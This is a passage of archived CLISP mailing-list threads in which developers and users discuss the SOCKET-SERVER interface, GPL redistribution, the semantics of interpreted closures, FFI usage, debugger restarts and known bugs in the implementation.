remote end (= peer) of the SOCKET-STREAM.

>> I think you will get what you want if you call SOCKET-SERVER on a socket
>> connected to localhost.
>
> Yes, but it's strange to create a SOCKET-STREAM just to be able to
> specify a host restriction to SOCKET-SERVER.

indeed.

>> > I suggest the interface should be:
>> > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host])
>> >
>> > Where a [host] of NIL binds to all network interfaces (thus being
>> > backwards compatible) and a supplied [host] only binds to the designated
>> > network interface (usually localhost/127.0.0.1 or the hostname).
>
> This leads to ill-specified cases when the first argument is a socket and
> the second one is a hostname.
>
> I think it's more appropriate to extend the possible values for the
> first argument: either
>   - a port (a number), or
>   - a hostname (a string), or
>   - a two-element list (hostname port), or
>   - a socket-stream (whose hostname is used and whose port is ignored).

the bad thing is that one would have to cons up a list.
also, a cons cell (port . hostname) should also be acceptable.
since SOCKET-CONNECT takes port as the first argument and host as the
second one, I think here port should come first too.
actually, we can dispatch on type of the list element
(host is a string, port is a number).


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I want to distribute CLISP, without installing it on other computers. 
I have tried it with just the 'full' directory and it worked fine,
this is only a 3MB setup.  But I was wondering are the other
directories needed, for example 'src'/'data'?  Those only add 4 MB so
it really doenst hurt, but I was wondering.  I looks like those must
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I could be wrong on this, I have noticed that (format nil "~A" 1) adds
a #\Return character to the end of this code? is this true.  I was
doing some socket code and for example:

(format nil "~A~C~C" 1 #\Return #\Newline) 

will come out as 1 0x0D 0x0D 0x0A

is this true on a win32 system or is this part of the HyperSpec?


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On Sun, 19 Dec 2004 10:21:24 -0500, Berlin Brown <berlin.brown@gmail.com> wrote:

> I could be wrong on this, I have noticed that (format nil "~A" 1)
> adds a #\Return character to the end of this code? is this true.  I
> was doing some socket code and for example:
>
> (format nil "~A~C~C" 1 #\Return #\Newline) 
>
> will come out as 1 0x0D 0x0D 0x0A
>
> is this true on a win32 system or is this part of the HyperSpec?

It's most likely that #\Newline will be translated to 0x0D 0x0A on
Win32 systems which is conforming to the standard.  Try using
#\Linefeed instead or use a non-Windows external format - that should
do it.

Cheers,
Edi.


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> * Berlin Brown <oreyva.oebja@tznvy.pbz> [2004-12-19 10:21:24 -0500]:
>
> I could be wrong on this, I have noticed that (format nil "~A" 1) adds
> a #\Return character to the end of this code? is this true.  I was
> doing some socket code and for example:
>
> (format nil "~A~C~C" 1 #\Return #\Newline) 
>
> will come out as 1 0x0D 0x0D 0x0A
>
> is this true on a win32 system or is this part of the HyperSpec?

<http://www.podval.org/~sds/clisp/impnotes/clhs-newline.html>
<http://www.podval.org/~sds/clisp/impnotes/encoding.html#newline>

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> * Berlin Brown <oreyva.oebja@tznvy.pbz> [2004-12-19 09:52:53 -0500]:
>
> I want to distribute CLISP, without installing it on other computers.
> I have tried it with just the 'full' directory and it worked fine,
> this is only a 3MB setup.  But I was wondering are the other
> directories needed, for example 'src'/'data'?  Those only add 4 MB so
> it really doenst hurt, but I was wondering.  I looks like those must
> be comiled into the *.mem stuff?

The answer to your question consists of two parts:

LEGAL:
        CLISP is covered by the GNU GPL.  This means that full sources
        of CLISP must accompany any binary distribution, and, if your
        Lisp program relies on CLISP internals ("will not run OOTB in
        other CL implementations", see file COPYRIGHT for details), you
        must also supply your program sources too.

TECHNICAL:
        for CLISP to run you need 2 files: runtime (lisp.run on Unix,
        lisp.exe on Woe32) and memory image (lispinit.mem).
        some other files (contains in the data/ directory) are useful
        for some things, e.g., CLHS access or Unicode character names,
        but not for most common programming tasks.

Bruno is the ultimate authority on these issues.

PS. out of sheer curiosity, do you mind telling us what your program does?

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Nothing yet, I am planning ahead, I was thinking about distributing a
small application that I had written in java, for text processing at
work, it was a small thing, I always try to avoid people using the
installs from vendors.  For example, having people installing the java
runtime was a mess.  With clisp the footprint is a lot smaller.


On Sun, 19 Dec 2004 13:23:32 -0500, Sam Steingold <sds@gnu.org> wrote:
> > * Berlin Brown <oreyva.oebja@tznvy.pbz> [2004-12-19 09:52:53 -0500]:
> >
> > I want to distribute CLISP, without installing it on other computers.
> > I have tried it with just the 'full' directory and it worked fine,
> > this is only a 3MB setup.  But I was wondering are the other
> > directories needed, for example 'src'/'data'?  Those only add 4 MB so
> > it really doenst hurt, but I was wondering.  I looks like those must
> > be comiled into the *.mem stuff?
> 
> The answer to your question consists of two parts:
> 
> LEGAL:
>         CLISP is covered by the GNU GPL.  This means that full sources
>         of CLISP must accompany any binary distribution, and, if your
>         Lisp program relies on CLISP internals ("will not run OOTB in
>         other CL implementations", see file COPYRIGHT for details), you
>         must also supply your program sources too.
> 
> TECHNICAL:
>         for CLISP to run you need 2 files: runtime (lisp.run on Unix,
>         lisp.exe on Woe32) and memory image (lispinit.mem).
>         some other files (contains in the data/ directory) are useful
>         for some things, e.g., CLHS access or Unicode character names,
>         but not for most common programming tasks.
> 
> Bruno is the ultimate authority on these issues.
> 
> PS. out of sheer curiosity, do you mind telling us what your program does?
> 
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[138]> (defun verouille (mot-de-passe valeur)
  (let ((val valeur)
        (mdp mot-de-passe))
   (list
     (lambda (cle)           (when (eq cle mdp) val))
     (lambda (cle nouvelle)  (when (eq cle mdp) (setf val nouvelle))))))
VEROUILLE
[139]> (defparameter vv (verouille :secret 1))

VV
[140]> (funcall (first  vv) :secret)
1
[141]> (funcall (second  vv) :secret 2)
2
[142]> (funcall (first  vv) :secret)
2
[143]> (funcall (first  vv) :titi)
NIL
[144]> (funcall (second vv) :titi 3)
NIL
[145]> (funcall (first  vv) :secret)
2

So far so good. But:

[146]> (defparameter val 3)
VAL
[147]> (funcall (first  vv) :secret)
3

!!!


[148]> (lisp-implementation-version)
"2.33.2 (2004-06-02) (built 3311798773) (memory 3311799118)"
[149]> 


With compiled closures, it works as expected:

[1]> (defun verouille (mot-de-passe valeur)
  (let ((val valeur)
        (mdp mot-de-passe))
   (list
     (compile nil (lambda (cle)           (when (eq cle mdp) val)))
     (compile nil (lambda (cle nouvelle)  (when (eq cle mdp) (setf val nouvelle)))))))
VEROUILLE
[2]> (defparameter vv (verouille :secret 1))
VV
[3]> vv
(#<COMPILED-CLOSURE NIL> #<COMPILED-CLOSURE NIL>)
[6]> (funcall (first vv) :secret)
1
[7]> (funcall (second vv) :secret 2)
2
[8]> (funcall (first vv) :secret)
2
[9]> (defparameter val 3)
VAL
[10]> (funcall (first vv) :secret)
2
[11]> 


ecls gets it right:

ECL (Embeddable Common-Lisp) 0.9
Copyright (C) 1984 Taiichi Yuasa and Masami Hagiya
Copyright (C) 1993 Giuseppe Attardi
Copyright (C) 2000 Juan J. Garcia-Ripoll
	ECL is free software, and you are welcome to redistribute it
under certain conditions; see file 'Copyright' for details.
Type :h for Help.  Top level.
> (defun verouille (mot-de-passe valeur)
  (let ((val valeur)
        (mdp mot-de-passe))
   (list
     (lambda (cle)           (when (eq cle mdp) val))
     (lambda (cle nouvelle)  (when (eq cle mdp) (setf val nouvelle))))))
VEROUILLE
> (defparameter vv (verouille :secret 1))
VV
> (funcall (first  vv) :secret)
1
> (funcall (second vv) :secret 2)
2
> (funcall (first  vv) :secret)
2
> (defparameter val 3)
VAL
> (funcall (first  vv) :secret)
2
> vv
(#<interpreted-function 0825e360> #<interpreted-function 0825e340>)
> 

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> [138]> (defun verouille (mot-de-passe valeur)
>   (let ((val valeur)
>         (mdp mot-de-passe))
>    (list
>      (lambda (cle)           (when (eq cle mdp) val))
>      (lambda (cle nouvelle)  (when (eq cle mdp) (setf val nouvelle))))))
> VEROUILLE
> ...
> [146]> (defparameter val 3)
> VAL

By evaluating this defparameter form, you have changed the meaning of the
verouille function that you entered earlier. VAL was not declared special
before but is declared special afterwards. This explains everything.

You probably need a DEFPARAMETER without DECLAIM SPECIAL. This beast is
usually called DEFGLOBAL. It defines a global variable but does not
affect the behaviour when the symbol is bound.

In clisp, DEFGLOBAL is trivial:
  (defmacro defglobal (symbol initform) `(setq ,symbol ,initform))

In SBCL, DEFGLOBAL is a little less trivial. See
http://groups.google.de/groups?q=defglobal&hl=de&lr=&ie=UTF-8&group=comp.lang.lisp.*&selm=xcvu0rhls2z.fsf%40conquest.OCF.Berkeley.EDU&rnum=6

Bruno



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Bruno Haible writes:
> > [138]> (defun verouille (mot-de-passe valeur)
> >   (let ((val valeur)
> >         (mdp mot-de-passe))
> >    (list
> >      (lambda (cle)           (when (eq cle mdp) val))
> >      (lambda (cle nouvelle)  (when (eq cle mdp) (setf val nouvelle))))))
> > VEROUILLE
> > ...
> > [146]> (defparameter val 3)
> > VAL
> 
> By evaluating this defparameter form, you have changed the meaning of the
> verouille function that you entered earlier. VAL was not declared special
> before but is declared special afterwards. This explains everything.

Why the interpreted closure has not the same semantics as the compiled
closure?

Why the clisp interpreted closure has not the same semantics as the
closures in other implementations?

Why should the meaning of a closure change for ulterior declarations?


> You probably need a DEFPARAMETER without DECLAIM SPECIAL. This beast is
> usually called DEFGLOBAL. It defines a global variable but does not
> affect the behaviour when the symbol is bound.

The problem is not with defparameter. It's that I want a lexical
closure, and I don't get it!


$ clisp
;; Loading file /home/pascal/.clisprc.lisp ...
[1]> (let ((val 1)) (defun get-val () val))
GET-VAL
[2]> (get-val)
1
[3]> (defparameter val 2)
VAL
[4]> (get-val)
2
[5]> (let ((vol 1)) (defun get-vol () vol))
GET-VOL
[6]> (compile 'get-vol)
GET-VOL ;
NIL ;
NIL
[7]> (defparameter vol 2)
VOL
[8]> (get-vol)
1
[9]> 


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> * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-12-20 22:51:34 +0100]:
>
> Why the interpreted closure has not the same semantics as the compiled
> closure?

because the meaning of the interpreted closure is determined at the
interpretation time.
this means that whenever you call an interpreted function, it is
analyzed anew (modulo macroexpansion which has been done at closure
creation time), and if a variable happened to be special at one time and
lexical at another time, then evaluation will produce different results.

> Why the clisp interpreted closure has not the same semantics as the
> closures in other implementations?

because SBCL always compiles everything (IIUC).

> Why should the meaning of a closure change for ulterior declarations?

for "interpreted" closures, see above.
compiled closures should not be affected.


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Pascal J.Bourguignon writes:
 > Bruno Haible writes:
 > > > [138]> (defun verouille (mot-de-passe valeur)
 > > >   (let ((val valeur)
 > > >         (mdp mot-de-passe))
 > > >    (list
 > > >      (lambda (cle)           (when (eq cle mdp) val))
 > > >      (lambda (cle nouvelle)  (when (eq cle mdp) (setf val nouvelle))))))
 > > > VEROUILLE
 > > > ...
 > > > [146]> (defparameter val 3)
 > > > VAL
 > > 
 > > By evaluating this defparameter form, you have changed the meaning of the
 > > verouille function that you entered earlier. VAL was not declared special
 > > before but is declared special afterwards. This explains everything.
 > 
 > Why the interpreted closure has not the same semantics as the compiled
 > closure?

Because it's *interpreted*: the interpreter is evaluating the Lisp
source as data, in the current environment.  The compiler fixes the
semantics of the function to use the environment it was compiled in.
If you proclaim closed-over variables to be special, or redefine
macros between invocations of an interpreted function, the behavior of
the interpreted function will necessarily change, because it's being
interpreted.  If you want to avoid this, compile the function.  This
is the behavior of an obvious, naive interpreter -- it would be
possible to try to have the interpreter's semantics more closely match
the compiler's here, but this kind of flexibility can be as much of a
boon as a bane.  And unless I've missed something, there's nothing in
the spec that disallows this.

 > Why the clisp interpreted closure has not the same semantics as the
 > closures in other implementations?

I have a metacircular evaluator for SBCL that I'm going to submit when
I get back from vacation -- assuming this gets merged, CLISP's
interpreted semantics will match SBCL's.

 > The problem is not with defparameter. It's that I want a lexical
 > closure, and I don't get it!

Then don't declare the variable to be globally special.  Or, compile
the function before you do.


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Sam Steingold writes:
> > * Pascal J.Bourguignon <cwo@vasbezngvzntb.pbz> [2004-12-20 22:51:34 +0100]:
> >
> > Why the interpreted closure has not the same semantics as the compiled
> > closure?
> 
> because the meaning of the interpreted closure is determined at the
> interpretation time.
> this means that whenever you call an interpreted function, it is
> analyzed anew (modulo macroexpansion which has been done at closure
> creation time), and if a variable happened to be special at one time and
> lexical at another time, then evaluation will produce different results.
>
> > Why the clisp interpreted closure has not the same semantics as the
> > closures in other implementations?
> 
> because SBCL always compiles everything (IIUC).

ecls has an interpreter as clisp, but it does it right.


> > Why should the meaning of a closure change for ulterior declarations?
> 
> for "interpreted" closures, see above.
> compiled closures should not be affected.


Ok, I overread 3.2.2.3 claim of "minimizing" differences between
interpreted and compiled code...

So I guess I'll have to write:

   (defun verouille (mot-de-passe valeur)
     (let ((#1=#:val valeur)
           (#2=#:mdp mot-de-passe))
       (list
         (lambda (cle)           (when (eq cle #2#) #1#))
         (lambda (cle nouvelle)  (when (eq cle #2#) (setf #1# nouvelle))))))

to get the effect I need.


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On Sat, 2004-12-18 at 16:43 -0500, Sam Steingold wrote:
> > * Bruno Haible <oehab@pyvfc.bet> [2004-12-18 18:59:13 +0100]:
> >
> >> > (SOCKET:SOCKET-SERVER &OPTIONAL  [port-or-socket])
> >> >     This function creates a socket an binds a port to the socket. The
> >> >     server exists to watch for client connect attempts. The optional
> >> >     argument is either a port (positive FIXNUM) or a SOCKET:SOCKET-STREAM
> >> >     (from whose peer the connections will be made).
> >
> > This is a doc bug: "from whose peer" should be "from whose local host
> > name" (that's what the code does).
> 
> I don't think so.
> the intent is that the new SOCKET-SERVER should be accessible from the
> remote end (= peer) of the SOCKET-STREAM.
> 
> >> I think you will get what you want if you call SOCKET-SERVER on a socket
> >> connected to localhost.
> >
> > Yes, but it's strange to create a SOCKET-STREAM just to be able to
> > specify a host restriction to SOCKET-SERVER.
> 
> indeed.
> 
> >> > I suggest the interface should be:
> >> > (SOCKET:SOCKET-SERVER &OPTIONAL [port-or-socket] [host])
> >> >
> >> > Where a [host] of NIL binds to all network interfaces (thus being
> >> > backwards compatible) and a supplied [host] only binds to the designated
> >> > network interface (usually localhost/127.0.0.1 or the hostname).
> >
> > This leads to ill-specified cases when the first argument is a socket and
> > the second one is a hostname.
> >
> > I think it's more appropriate to extend the possible values for the
> > first argument: either
> >   - a port (a number), or
> >   - a hostname (a string), or
> >   - a two-element list (hostname port), or
> >   - a socket-stream (whose hostname is used and whose port is ignored).
> 
> the bad thing is that one would have to cons up a list.
> also, a cons cell (port . hostname) should also be acceptable.
> since SOCKET-CONNECT takes port as the first argument and host as the
> second one, I think here port should come first too.
> actually, we can dispatch on type of the list element
> (host is a string, port is a number).

As these interface restrictions are only caused by a desire to preserve
backwards compatibility with SOCKET:SOCKET-SERVER have you instead
considered adding a new function called SOCKET:MAKE-SOCKET-SERVER:

(SOCKET:MAKE-SOCKET-SERVER PORT &OPTIONAL (HOST "0.0.0.0"))

Regards,
Adam



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On Thu, 16 Dec 2004 10:49:41 +0100, Edi Weitz <edi@agharta.de> wrote:

> Maybe someone wants to port this to CLISP:
>
>   <http://weitz.de/rdnzl/>
>
> It has the potential to provide an easy way to create native GUIs
> for CLISP programs, amongst other things.

Thanks to the efforts of Vasilis Margioulas, RDNZL (0.4.0) now
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Please try and have fun with it.

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Pascal J.Bourguignon wrote:
> Why the interpreted closure has not the same semantics as the compiled
> closure?

Because the compiler makes some optimizations that "fix" the semantics
of the functions - ANSI CL 3.2.2.3:
  "Special proclamations for dynamic variables must be made in the
   compilation environment. Any binding for which there is no special
   declaration or proclamation in the compilation environment is treated
   by the compiler as a lexical binding."
and there is no such requirement for the interpreter.

> Why the clisp interpreted closure has not the same semantics as the
> closures in other implementations?

Because the interpreter in other implementations apparently do a little
more preprocessing in the interpreter than clisp does. For performance
reasons or for ease of debugging - I don't know.

> Why should the meaning of a closure change for ulterior declarations?

Because the goal of an interpreter is to allow changes to take effect
immediately, without recompilation of the whole program.

> The problem is not with defparameter. It's that I want a lexical
> closure, and I don't get it!

Then don't proclaim SPECIAL your variable. A variable that has been
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Bruno Haible writes:
> Pascal J.Bourguignon wrote:
> > Why the interpreted closure has not the same semantics as the compiled
> > closure?
> 
> Because the compiler makes some optimizations that "fix" the semantics
> of the functions - ANSI CL 3.2.2.3:
>   "Special proclamations for dynamic variables must be made in the
>    compilation environment. Any binding for which there is no special
>    declaration or proclamation in the compilation environment is treated
>    by the compiler as a lexical binding."
> and there is no such requirement for the interpreter.

That same section declared that these requirements were made to
"minimize" the differences between interpreted and compiled code.
That's why I was surprised to see a difference.

> > The problem is not with defparameter. It's that I want a lexical
> > closure, and I don't get it!
> 
> Then don't proclaim SPECIAL your variable. A variable that has been
> proclaimed special cannot be bound lexically.

I think it's an overlook of the standard.  It means that any
interpreted closure can be broken just by ulteriorly declaring some
special variable colliding with the lexical variables the closure use.

Worse, such a declarations makes all lexical variables merge:

[pjb@thalassa encours]$ clisp
;; Loading file /home/pascal/.clisprc.lisp ...
[1]> (let ((a 1)) (defun f () (incf a)))
F
[2]> (let ((a "Hello")) (defun g (x) (print a) (setf a x)))
G
[3]> (f)
2
[4]> (g "World")

"Hello" 
"World"
[5]> (f)
3
[6]> (g "Howdy")

"World" 
"Howdy"
[7]> (f)
4
[8]> (defvar a '(broken))
A
[9]> (f)

*** - +: (BROKEN) is not a NUMBER
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [10]> :q

[11]> (g "r2d2")

(BROKEN) 
"r2d2"
[12]> (f)

*** - +: "r2d2" is not a NUMBER
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead.

Break 1 [13]> :q

[14]> 


I agree that the standard doesn't mandate an interpreted
implementation to do otherwise, but I think the behavior of ecls
interpreter, which keeps the compiled semantics, is clearly superior
here.

-- 
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Can someone explain to me why the following works?

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(coerce 0 'double-float)))
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...)

What I'm confused about is that (slot struct col-type) is not necessarily a
pointer (ie. a 'c-place') and yet c-var-address doesn't complain about it. 
(I see that c-var-address and slot are macros, but macroexpanding them 
results in a SIMPLE-SOURCE-PROGRAM-ERROR.)

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> * Andras Simon <naqenf@eralv.uh> [2005-01-01 12:24:05 +0000]:
>
> Can someone explain to me why the following works?

Jorg is the FFI expert.

> (with-c-var 
> 	  (struct '(c-struct list
> 		    (:string c-pointer)
> 		    (:icon c-pointer)
> 		    (:boolean boolean)
> 		    (:int int)
> 		    (:long long)
> 		    (:date single-float)
> 		    (:float single-float)
> 		    (:double double-float))
> 		  (list nil nil nil 0 0 (coerce 0 'single-float) (coerce 0 'single-float)
> (coerce 0 'double-float)))
> 	(gtk-tree-model-get model iter col
> 			    (c-var-address (slot struct col-type))
> 			    -1)
> ...)
>
> What I'm confused about is that (slot struct col-type) is not necessarily a
> pointer (ie. a 'c-place') and yet c-var-address doesn't complain about it. 

I think C-VAR-ADDRESS will return the address of the slot, not the
address to which the slot points.
in C terms, it will return "&(struct.col_type)", not
"(void*)(struct.col_type)".

> (I see that c-var-address and slot are macros, but macroexpanding them
> results in a SIMPLE-SOURCE-PROGRAM-ERROR.)

you might want to try
<http://clisp.cons.org/impnotes/code-walk.html>

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On Sun, 2 Jan 2005, Sam Steingold wrote:

> [...]
>
> I think C-VAR-ADDRESS will return the address of the slot, not the
> address to which the slot points.
> in C terms, it will return "&(struct.col_type)", not
> "(void*)(struct.col_type)".

Thanks Sam, that's exactly what I wanted to know! I'm trying to polish the
CMUCL port of cells-gtk, and I didn't know how to rewrite this bit with alien.
Now I do.

Andras



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Hi,

I'm using Clisp through Emacs, when I type something wrong, for example=20
k i get a message of continuable error, i want to get rid of this messages,
how can i do it? Some flag when calling clisp???

I give you some data:
I use Debian=20

GNU CLISP 2.33.2 (2004-06-02) (built 3304877926) (memory 3312945373)
Software: GNU C 3.3.4 (Debian 1:3.3.4-12) programa ANSI C
Features:
(ASDF SYSCALLS CLX-ANSI-COMMON-LISP CLX REGEXP CLOS LOOP COMPILER CLISP ANS=
I-CL
 COMMON-LISP LISP=3DCL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAME=
S SCREEN
 FFI GETTEXT UNICODE BASE-CHAR=3DCHARACTER PC386 UNIX)
Installation directory: /usr/lib/clisp/
User language: ENGLISH
Machine: I686 (I686)=20

I run clisp with "run-lisp" in Emacs, that means to me "clisp -I" (.emacs f=
ile).

I paste an example:

[1]> k

*** - EVAL: la variable K no tiene ning=FAn valor
Es posible continuar en los siguientes puntos:
STORE-VALUE    :R1      You may input a new value for K.
USE-VALUE      :R2      You may input a value to be used instead of K.

I don't want to read  Es posible..... instead of K.


Thanks a lot!
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> * E. Cerme=C3=B1o <prezrr@yvahkznvy.bet> [2005-01-07 01:22:06 +0800]:
>
> I'm using Clisp through Emacs, when I type something wrong, for
> example k i get a message of continuable error, i want to get rid of
> this messages, how can i do it? Some flag when calling clisp???

what would you like to happen when you get an error?

do you want all errors automatically ignored?!
you will not be able to debug your code!

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Clisp Win32

On one machine, I can get a DLL to work, but on another, I cant/

I keep getting an FFI error cannot open library, I used a dll
dependency walker to check if all DLLs are all there and they are. 
What would cause a DLL to load on one machine but not on another.  I
am using gcc win32 to compile the dll, I think that is the problem, is
there any more debugging I can do to give me a better idea of the
problem.


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Strange, on this win32 Windows 2000 system, I figured out my bug, the
name can only be 4 characters?  Strange, in case anybody sees this
problem, it is a Windows2000(SP-2?) GCC - Mingw - Clisp(recent
version)

When compiling a DLL,and then loading in CLisp, on certain systems,
the name of the dll has to be small?  Weird

On Thu, 6 Jan 2005 12:51:52 -0500, Berlin Brown <berlin.brown@gmail.com> wrote:
> Clisp Win32
> 
> On one machine, I can get a DLL to work, but on another, I cant/
> 
> I keep getting an FFI error cannot open library, I used a dll
> dependency walker to check if all DLLs are all there and they are.
> What would cause a DLL to load on one machine but not on another.  I
> am using gcc win32 to compile the dll, I think that is the problem, is
> there any more debugging I can do to give me a better idea of the
> problem.
>


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Thanks for your help, I 'll try to explain myswlf better, I do want
Error report , BUT the one I've made, not a huge list of **** ,
I paste a small example, I forgot the argument in print, I want to
know that but not some past " continuable errors", look :


Break 8 [167]> (print )

** - Continuable Error
EVAL: no se han entregado suficientes argumentos a PRINT: (PRINT)

--->>>>> That's great , but I also get this=20

Si contin=C3=BAa (tecleando `continue'): Reintentar
The following restarts are also available:
STORE-VALUE    :R1      You may input a new value for K.
USE-VALUE      :R2      You may input a value to be used instead of K.
STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'DEFSYST=
EM).
USE-VALUE      :R4      You may input a value to be used instead of (FDEFIN=
ITION 'DEFSYSTEM).
CONTINUE       :R5      Reintentar
STORE-VALUE    :R6      You may input a new value for (FDEFINITION 'DEFSYST=
EM).
USE-VALUE      :R7      You may input a value to be used instead of (FDEFIN=
ITION 'DEFSYSTEM).
USE-VALUE      :R8      You may input a value to be used instead.

---->>>>>>>>>  Here it's 8 lines, sometimes it's 50 or even more lines, of =
past errors,
I want to get rid of them.


Thanks for your help!

>=20
> what would you like to happen when you get an error?
>=20
> do you want all errors automatically ignored?!
> you will not be able to debug your code!
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E. Cermeño writes:
> Hi,
> 
> I'm using Clisp through Emacs, when I type something wrong, for example 
> k i get a message of continuable error, i want to get rid of this messages,
> how can i do it? Some flag when calling clisp???
> [...]
> [1]> k
> 
> *** - EVAL: la variable K no tiene ningún valor
> Es posible continuar en los siguientes puntos:
> STORE-VALUE    :R1      You may input a new value for K.
> USE-VALUE      :R2      You may input a value to be used instead of K.
> 
> I don't want to read  Es posible..... instead of K.

Usa esto:

(defmacro handling-errors (&body body)
  `(HANDLER-CASE (progn ,@body)
     (simple-condition 
      (ERR) 
      (apply (function format) *error-output*
             (simple-condition-format-control   err)
             (simple-condition-format-arguments err)))
     (condition 
      (ERR) 
      (format *error-output* "~&condition: ~S~%" err))))

(defun repl ()
  (do ((hist 1 (1+ hist))
       (+eof+ (gensym)))
      (nil)
    (format t "~%~A[~D]> " (package-name *package*) hist)
    (handling-errors
     (let ((input (read *standard-input* nil +eof+)))
       (when (or (equal '(exit) input)
                 (equal '(quit) input)
                 (eq +eof+ input))
         (return-from repl))
       (setf +++ ++   ++ +   + -   - input)
       (setf /// //   // /   / (multiple-value-list (eval -)))
       (setf *** **   ** *   * (first /))
       (format t "~& --> ~{~S~^ ;~%     ~}~%" /)))))


[179]> (repl)

COMMON-LISP-USER[1]> k
EVAL: variable K has no value
COMMON-LISP-USER[2]> 


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Hi,

E. Cerme=C3=B1o writes:
>I paste a small example, I forgot the argument in print, I want to
>know that but not some past " continuable errors", look :
>STORE-VALUE    :R1      You may input a new value for K.
>USE-VALUE      :R2      You may input a value to be used instead of K.
>STORE-VALUE    :R3      You may input a new value for ...
>USE-VALUE      :R4      You may input a value to be used=20

You need to realize that most (all?) Lisp read-eval-print loops are =
entered recursively unless you explicitly abort to an outer or top =
level.
This is different from e.g. the Python prompt.

In other words, the Lisps have piled up for you all your past errors, =
and you could proceed from any of these.
But you don't seem to want these and instead would accomodate with a =
"return to top-level" command that you'd use upon encountering an =
error. Such a command in CLISP is either :a or :q, abort or quit.

Try it and you'll get at most one STORE/USE-VALUE in typical cases.

A session will look as follows:
> [cause some error here]
The following restarts are available:
ABORT          :R1      ABORT
[possible other restarts]
Break 1 [23]> quit ; or :q
[24]> c
*** - EVAL: variable C has no value
The following restarts are available:
USE-VALUE      :R1      You may input a value to be used instead of C.
STORE-VALUE    :R2      You may input a new value for C.
ABORT          :R3      ABORT
Break 1 [25]> abort ; or :a
[26]>

See how the prompt changes and shows that you exited the debugger loop.

Furthermore, if you use SLIME within Emacs, all you need is hit a =
single key to exit the debugger loop. You may consider installing/using =
SLIME.


>Si contin=C3=BAa (tecleando `continue'): Reintentar
>The following restarts are also available:
BTW, this mixture of languages looks like incomplete (bogus?) =
internationalization in CLISP.

Regards,
	J=C3=B6rg H=C3=B6hle.


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> * E. Cerme=C3=B1o <prezrr@yvahkznvy.bet> [2005-01-07 05:50:34 +0800]:
>
> Break 8 [167]> (print )
>
> ** - Continuable Error
> EVAL: no se han entregado suficientes argumentos a PRINT: (PRINT)
>
> --->>>>> That's great , but I also get this=20
>
> Si contin=C3=BAa (tecleando `continue'): Reintentar
> The following restarts are also available:

Please consider contributing to the CLISP project by providing
Spanish translations of all English strings you see.
You will need to submit them as a unified diff against the CVS,
see files
clisp/src/po/es.po
clisp/src/po/clisplow_es.po

> STORE-VALUE    :R1      You may input a new value for K.
> USE-VALUE      :R2      You may input a value to be used instead of K.
> STORE-VALUE    :R3      You may input a new value for (FDEFINITION 'DEFSY=
STEM).
> USE-VALUE      :R4      You may input a value to be used instead of (FDEF=
INITION 'DEFSYSTEM).
> CONTINUE       :R5      Reintentar
> STORE-VALUE    :R6      You may input a new value for (FDEFINITION 'DEFSY=
STEM).
> USE-VALUE      :R7      You may input a value to be used instead of (FDEF=
INITION 'DEFSYSTEM).
> USE-VALUE      :R8      You may input a value to be used instead.
>
> ---->>>>>>>>>  Here it's 8 lines, sometimes it's 50 or even more lines, o=
f past errors,
> I want to get rid of them.

:q

will abort to the top-level REPL.

:h

will print som help
see also <http://clisp.cons.org/impnotes/debugger.html>.


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I thought I would probably reply to all.

No, there werent any invalid chars in the name, and I tested fine with
a stub application, hmm, I fixed the problem, but I ended changing the
name to exactly 4 characters, weird.  It is probably a Win2000
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> 
> > When compiling a DLL,and then loading in CLisp, on certain systems,
> > the name of the dll has to be small?  Weird
> What are the names of the DLLs? Do they contain non-ASCII characters?
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> 
>


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Hello Berlin,

> When compiling a DLL,and then loading in CLisp, on certain systems,
> the name of the dll has to be small?  Weird
What are the names of the DLLs? Do they contain non-ASCII characters?

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Is there any definition on how DIRECTORY should treat links?  DIRECTORY is
automatically resolving Windows shortcuts (.lnk files) to the file they are
pointing to instead of simply returning the directory listing as Windows' dir
command.  Is this a bug or a feature?  Maybe there is some option to turn this
off, but I couldn't find one in the implementation notes.

- Chris



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> * Chris Schaller <puevf.fpunyyre@jro.qr> [2005-01-11 09:23:32 +0000]:
>
> Is there any definition on how DIRECTORY should treat links?
> DIRECTORY is automatically resolving Windows shortcuts (.lnk files) to
> the file they are pointing to instead of simply returning the
> directory listing as Windows' dir command.  Is this a bug or a
> feature?  Maybe there is some option to turn this off, but I couldn't
> find one in the implementation notes.

this is a "feature known to upset some users" :-(

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Chris Schaller writes:
> Is there any definition on how DIRECTORY should treat links?  DIRECTORY is
> automatically resolving Windows shortcuts (.lnk files) to the file they are
> pointing to instead of simply returning the directory listing as Windows' dir
> command.  Is this a bug or a feature?  

Not exactly. 

One thing is that DIRECTORY must return the TRUENAME of the files.

It happens that on unix, most implementations take it to be the item
refered to by the  symbolic links.  Yes, I guess the equivalent
behavior for MS-Windows is to do the same for .lnk files.

Since there's not Common-Lisp function to manage symbolic links, it's
probably the best behavior to implement.


> Maybe there is some option to turn this
> off, but I couldn't find one in the implementation notes.

The best bet is to use the (future) POSIX API. In the mean time, use
FFI to the underlying POSIX layer of the OS.


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Hello, All!

this was discussed in comp.lang.lisp, but i don't know whether clisp
developers read comp.lang.lisp regulary, so i thought it's better to post it
also here..

this applies for clisp-2.33.1, latest release for win32 platform, but
possibly it's not yet been found/fixed. if it is (or it's intended
behaviour) - sorry.

i found problem testing examples for special vars in CLHS and seeing
different results.

=========================================================================
* Newsgroup: comp.lang.lisp
* From: "Paul F. Dietz"
* Date: Tue, 11 Jan 2005 06:19:58 -0600
* Subj: Re: special declaration in clisp
==========================================================================

Alex Mizrahi wrote:

      >  (let ((x (1+ x))
        (declare (special x))
        x)
      should x in (1+ x) be special or not?
      in CLISP it is, in other implementations - it's not.


It should not (see CLtS, secion 3.3.4, paragraph 6).

 Paul

==========================================================================

a simple test without any global values or declarations:

(let ((x 5)) (let ((x (1+ x))) (declare (special x)) (print x)))

it prints 6 in lispworks and others, but says x is unbound in CLISP.

With best regards, Alex 'killer_storm' Mizrahi.





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> * Alex Mizrahi <hqbqraxb@hfref.fbheprsbetr.arg> [2005-01-12 17:41:55 +0200]:
>
> (let ((x 5)) (let ((x (1+ x))) (declare (special x)) (print x)))
> it prints 6 in lispworks and others, but says x is unbound in CLISP.

<http://sourceforge.net/tracker/index.php?func=detail&aid=424905&group_id=1355&atid=101355>

this is a known long-standing bug.

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Hi,

I believe Tayssir John Gabbour's message (included below) reveals
a) a bug in clisp,
